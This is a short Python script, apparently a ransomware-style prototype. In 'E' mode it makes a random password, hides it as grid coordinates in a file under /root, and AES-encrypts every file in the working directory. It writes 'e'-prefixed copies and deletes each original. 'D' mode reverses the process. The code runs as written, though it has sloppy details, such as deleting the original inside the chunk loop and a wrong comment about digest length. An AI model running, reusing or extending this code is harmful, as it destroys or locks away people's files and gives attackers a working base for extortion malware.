encrypt.py

import hashlib
from Crypto.Cipher import AES
import os, random, sys
import getpass
import random
import string
'''importing neccessary modules'''
keyDict = {"A":"(1,1)", "F":"(2,1)", "S": "(3,1)","T":"(4,1)", "V":"(5,1)",
         "J": "(1,2)","B":"(2,2)", "G":"(3,2)", "U": "(4,2)","W": "(5,2)",
         "O": "(1,3)","K":"(2,3)", "C":"(3,3)", "H": "(4,3)","Z": "(5,3)",
         "@": "(1,4)","P":"(2,4)", "L":"(3,4)", "D": "(4,4)","I": "(5,4)",
         "X": "(1,5)","Y":"(2,5)", "Q":"(3,5)", "M": "(4,5)","E": "(5,5)",
         "!": "(1,6)","/":"(2,6)", " ":"(3,6)", "R": "(4,6)","N": "(5,6)"}

def encrypt(key, filename):
        '''This is the function in which the main encryption function is carried out, making use of some of the imported libraries'''
        chunksize = 64 * 1024 #This is the how big the chunks of info are, that are being taken from the file.
        outfile =  "e" + filename # The new file will overwrite the old file, for security.
        filesize = str(os.path.getsize(filename)).zfill(16) # 
        initV = "" # Initialisation Vector, random for every file.

        initV = os.urandom(16)
        encryptor = AES.new(key, AES.MODE_CBC, initV) #sets the encryption mode and gives it the initiation vector

        with open(filename, 'rb') as infile: #open desired encryption file, binary mode.
                with open(outfile, 'wb') as outfile: # desired output file, where everything is dumped.
                        outfile.write(filesize.encode())
                        outfile.write(initV)

                        while True:
                                chunk = infile.read(chunksize) #For each chunk of data which is chunksize long

                                if len(chunk) == 0: #If chunk has nothing in it (empty file/EOF)
                                        break
                                elif len(chunk) % 16 != 0: # If filesize cant be evenly split, pad with spaces and encrpt
                                        add = " ".encode('UTF-8') * (16 - (len(chunk) % 16))
                                        chunk = chunk + add

                                outfile.write(encryptor.encrypt(chunk)) #Write encrypted chunk to output file.
                                os.remove(filename)

def decrypt(key, filename):
        '''This is the fucntion in which the main decryption function is carried out'''

        outFile = filename[1:]
        chunksize = 64*1024

        with open(filename, 'rb') as infile:
                filesize = infile.read(16)
                initV = infile.read(16)


                decryptor = AES.new(key, AES.MODE_CBC, initV)

                with open(outFile, 'wb') as outfile:
                        while True:
                                chunk = infile.read(chunksize)
                                if len(chunk) == 0:
                                        break
                                outfile.write(decryptor.decrypt(chunk))
                        outfile.truncate(int(filesize))
                        os.remove(filename)

def getKey(password):
        '''This function generates an encryption key from the user entered password, by hashing it'''
        hasher = hashlib.sha256() #This line initiates the encryption object.
        hasher.update(password.encode('UTF-8'))
        return hasher.digest() # returns the 16 character digest of the password.


def sendKey(password):
        '''This function is used to mitigate the risk of someone finding out the password, creates a file which contains
        coordinates of which can be used to figure out the key for decryption'''
        password = password.upper()
        spassword = list(password)
        username = getpass.getuser() #get current username, so can be used on any machine

        f = open("/root/PythonS/PWCRD.txt", "w")
        for i in range(0, len(spassword)):
                if spassword[i] in keyDict:
                        f.write(str(keyDict[spassword[i]]))
        f.close()


def randomString():
    """Generate a random string of fixed length """
    letters = "abcdefghijklmnopqrstuvwxyz!@/ "
    return ''.join(random.choice(letters) for i in range(5))


if __name__ == "__main__":


        choice = sys.argv[1]

        if choice == 'E':
                #password = getpass.getpass("Password: ")
                password = randomString()
                sendKey(password)
                for filename in os.listdir(os.getcwd()):
                        encrypt(getKey(password), filename)

        elif choice == 'D':
                with open ("/root/PythonS/PWCRD.txt") as f:
                        hidden=f.read()
                hidden = list(hidden)
                char = ""
                passwordtmp = ""
                for i in hidden:
                        char += str(i)
                        if i == ")":
                                for x in keyDict:
                                        if keyDict.get(x) == char:
                                                passwordtmp = passwordtmp+x
                                char = ""
                password = passwordtmp.lower()
                for filename in os.listdir(os.getcwd()):
                        decrypt(getKey(password), filename)